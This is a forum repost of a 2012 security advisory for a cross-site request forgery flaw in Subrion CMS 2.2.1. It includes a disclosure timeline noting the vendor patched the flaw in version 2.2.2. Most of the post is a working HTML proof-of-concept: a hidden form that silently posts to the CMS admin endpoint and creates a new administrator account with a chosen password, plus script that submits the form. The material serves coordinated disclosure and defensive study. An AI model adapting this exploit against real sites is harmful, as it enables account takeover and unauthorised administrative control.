bc-vnt Posted September 12, 2012 Report Posted September 12, 2012 Subrion CMS version 2.2.1 suffers from a cross site request forgery vulnerability.<!--Title: Subrion CMS 2.2.1 CSRF Add Admin ExploitVendor: Intelliants LLCProduct web page: http://www.subrion.comAffected version: 2.2.1Summary: Subrion is a free open source content management system. It'swritten in PHP 5 and utilizes MySQL database. Subrion CMS can be easilyintegrated into your current website or used as a stand alone platform.It's extremely flexible and scalable php system that stands for a contentmanagement framework.Desc: The application allows users to perform certain actions via HTTPrequests without performing any validity checks to verify the requests.This can be exploited to perform certain actions with administrativeprivileges if a logged-in user visits a malicious web site. - Usergroup 1 - Administrator - Usergroup 2 - Moderator - Usergroup 8 - RegisteredTested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.4 MySQL 5.5.25aVulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscienceVendor status:[05.09.2012] Vulnerability discovered.[06.09.2012] Contact with the vendor.[07.09.2012] Vendor responds asking more details.[07.09.2012] Sent detailed information to the vendor.[10.09.2012] Vendor creates patch.[11.09.2012] Vendor releases version 2.2.2 to address this issue.[11.09.2012] Coordinated public security advisory released.Advisory ID: ZSL-2012-5106Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5106.php05.09.2012--><html><head><title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title></head><body><center><br /><form method="post" action="http://localhost/subrion/admin/accounts/add/" onsubmit="forge()"><input type="hidden" name="username" value="Commando" /><input type="hidden" name="fullname" value="Arnold Schwarzenegger" /><input type="hidden" name="email" value="lab@zeroscience.mk" /><input type="hidden" name="_password" value="l33tP4ss!" /><input type="hidden" name="_password2" value="l33tP4ss!" /><input type="hidden" name="usergroup" value="1" /><input type="hidden" name="avatar" value="" /><input type="hidden" name="sponsored" value="0" /><input type="hidden" name="plan_id" value="1" /><input type="hidden" name="sponsored_end" value="" /><input type="hidden" name="status" value="active" /><input type="hidden" name="save" value="Add" /><input type="hidden" name="goto" value="list" /><input type="hidden" name="old_name" value="ZSL" /><input type="hidden" name="id" value="" /><input type="submit" id="exploit" value="Forge!" /></form></center><script type="text/javascript">function forge(){document.getElementById("exploit").click();}</script></body></html>http://packetstormsecurity.org/files/116433/Subrion-CMS-2.2.1-Cross-Site-Request-Forgery.html Quote
